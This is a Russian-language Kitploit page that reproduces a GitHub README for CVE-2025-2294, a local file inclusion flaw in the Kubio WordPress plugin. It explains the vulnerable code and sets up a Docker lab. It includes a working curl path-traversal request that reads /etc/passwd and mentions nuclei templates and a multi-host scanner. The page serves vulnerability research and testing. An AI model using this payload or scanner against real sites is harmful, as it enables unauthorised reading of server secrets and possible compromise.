Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-2294 — Эксплойт доказательства концепции для CVE-2025-2294, критической уязвимости LFI в Kubio AI Page Builder для WordPress. Включает Python-сканер, шаблон nuclei и Docker-лабораторию для тестирования. | Kitploit
Инструменты/GitHubGitHub/iteride/cve-2025-2294
Сканеры веб-уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubiteride/cve-2025-2294

CVE-2025-2294

Эксплойт доказательства концепции для CVE-2025-2294, критической уязвимости LFI в Kubio AI Page Builder для WordPress. Включает Python-сканер, шаблон nuclei и Docker-лабораторию для тестирования.

Репозиторий
1311 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-2294

Введение

CVE-2025-2294 — критическая уязвимость типа Local File Inclusion (LFI) в плагине Kubio AI Page Builder для WordPress. Уязвимость позволяет неаутентифицированному удалённому злоумышленнику передать специально сформированный параметр, из-за чего плагин может включить произвольный файл на сервере; при наличии включаемого PHP-файла это может привести к удалённому выполнению кода (RCE).

  • Поражаемые версии: все версии плагина ≤ 2.5.1.
  • CVSS v3.1: 9.8 (Critical).

Цель отчёта

  1. Систематизировать доступные материалы и объяснить суть уязвимости.
  2. Рассмотреть условия и конфигурации, при которых уязвимость актуальна.
  3. Показать способы обнаружения и рекомендации по защите (без пошаговых PoC).
  4. Дать рекомендации по устранению и смягчению последствий.

CPE / идентификация

  • Plugin slug: kubio
  • Путь: /wp-content/plugins/kubio/
  • Vendor: ExtendThemes / Kubio
  • CPE (пример): cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*
  • CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal).


    Условия эксплуатации

    • Плагин Kubio установлен и активирован на сайте.
    • Версия ≤ 2.5.1 (непатченная).
    • Доступен публичный HTTP(S) endpoint, принимающий параметр __kubio-site-edit-iframe-classic-template.
    • (Для получения RCE) В системе должен существовать включаемый PHP-файл или иной путь к исполняемому коду (например, через уязвимости в других компонентах или неправильные права).

    Импакт

    • Чтение файлов с секретами (например, wp-config.php, приватные ключи, логи).
    • Возможна загрузка/выполнение произвольного кода, изменение контента или внедрение бекдоров.
    • Компромисс сервера, возможные нарушения работы сайта, удаление/шифрование данных.
    • Масштаб риска увеличивается из-за широкого распространения плагина и появления публичных PoC/сканеров.

    Технические детали

    Уязвимый код связан с функцией kubio_hybrid_theme_load_template(), которая обращается к глобальному массиву $_REQUEST:

    root@kitploit:~
    $template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
    if ($template_id) {
        $new_template = locate_template([$template_id]);
        if ($new_template !== '') {
            return $new_template;
        }
    }
    
    • Что делает код:
    1. Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — берёт значение прямо из глобального набора входных данных ($_REQUEST объединяет $_GET, $_POST, $_COOKIE). `Это означает, что параметр управляем удалённо.

    2. Если параметр присутствует ($template_id истинно), код вызывает locate_template([$template_id]).

    3. locate_template() — WordPress-утилита (или аналог в плагине) для поиска шаблонов по переданному относительному пути/имени. В нормальном сценарии ожидалось, что туда будут передаваться имена файлов внутри безопасного каталога шаблонов, например header.php или template-parts/content.php.

    4. Возвращаемое значение ($new_template) затем используется — в исходной реализации это может привести к include/require найденного пути, либо к передаче этого пути дальше для вывода.Это создаёт возможность LFI: злоумышленник может указать путь к произвольному файлу.

    Локальный запуск

    root@kitploit:~
    git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
    
    • Заходим в докер:
    root@kitploit:~
    docker exec -it <WORDPRESS_DOCKER_ID> bash
    
    • Скачиваем и запускаем kubio

    Для запуска после распаковки перейдите в http://localhost:8080/wp-admin/plugins.php и активируйте плагин

    root@kitploit:~
    cd /var/www/html/wp-content/plugins
    curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
    unzip kubio-2.5.1.zip
    rm kubio-2.5.1.zip
    chown -R www-data:www-data kubio
    

    POC/Exploit

    root@kitploit:~
    curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'
    

    lfi

    __kubio-site-edit-iframe-classic-template=<path>

    Этот параметр передаёт строку, которую плагин использует как идентификатор/путь шаблона.

    В уязвимом фрагменте кода значение берётся из $_REQUEST и передаётся в locate_template() без предварительной нормализации или ограничения. В результате возможен path traversal: если в значение вставить последовательности ../, итоговый путь может выйти за пределы ожидаемой директории шаблонов и указывать на любой файл на файловой системе (в том числе /etc/passwd).

    Именно этот параметр несёт полезную нагрузку атаки — с его помощью атакующий указывает целевой файл.

    __kubio-site-edit-iframe-preview=1

    Это служебный флаг (режим предпросмотра / iframe-edit mode). Он переключает обработку запроса в кодовую ветку, где считывается и используется шаблон, заданный в __kubio-site-edit-iframe-classic-template.

    Без preview=1 плагин мог бы не обрабатывать параметр classic-template или использовать другую логику; с preview=1 включается логика, которая допускает чтение и возвращение шаблона, что делает возможным эксплуатацию.


    nuclei-template

    1. Пассивный шаблон

    • Проверяет версию плагина через файл /wp-content/plugins/kubio/readme.txt.

    passive

    2. Активный шаблон

    • Проверяет вывод /etc/passwd

    active


    Скрипт

    Скрипт проверяет вывод /etc/passwd но в разы быстрее чем nuclei благодаря многопоточности,а также поддерживает скан сразу нескольких хостов

    root@kitploit:~
    python3 scan.py --target http://localhost:8080
    

    scan

    Скачать инструмент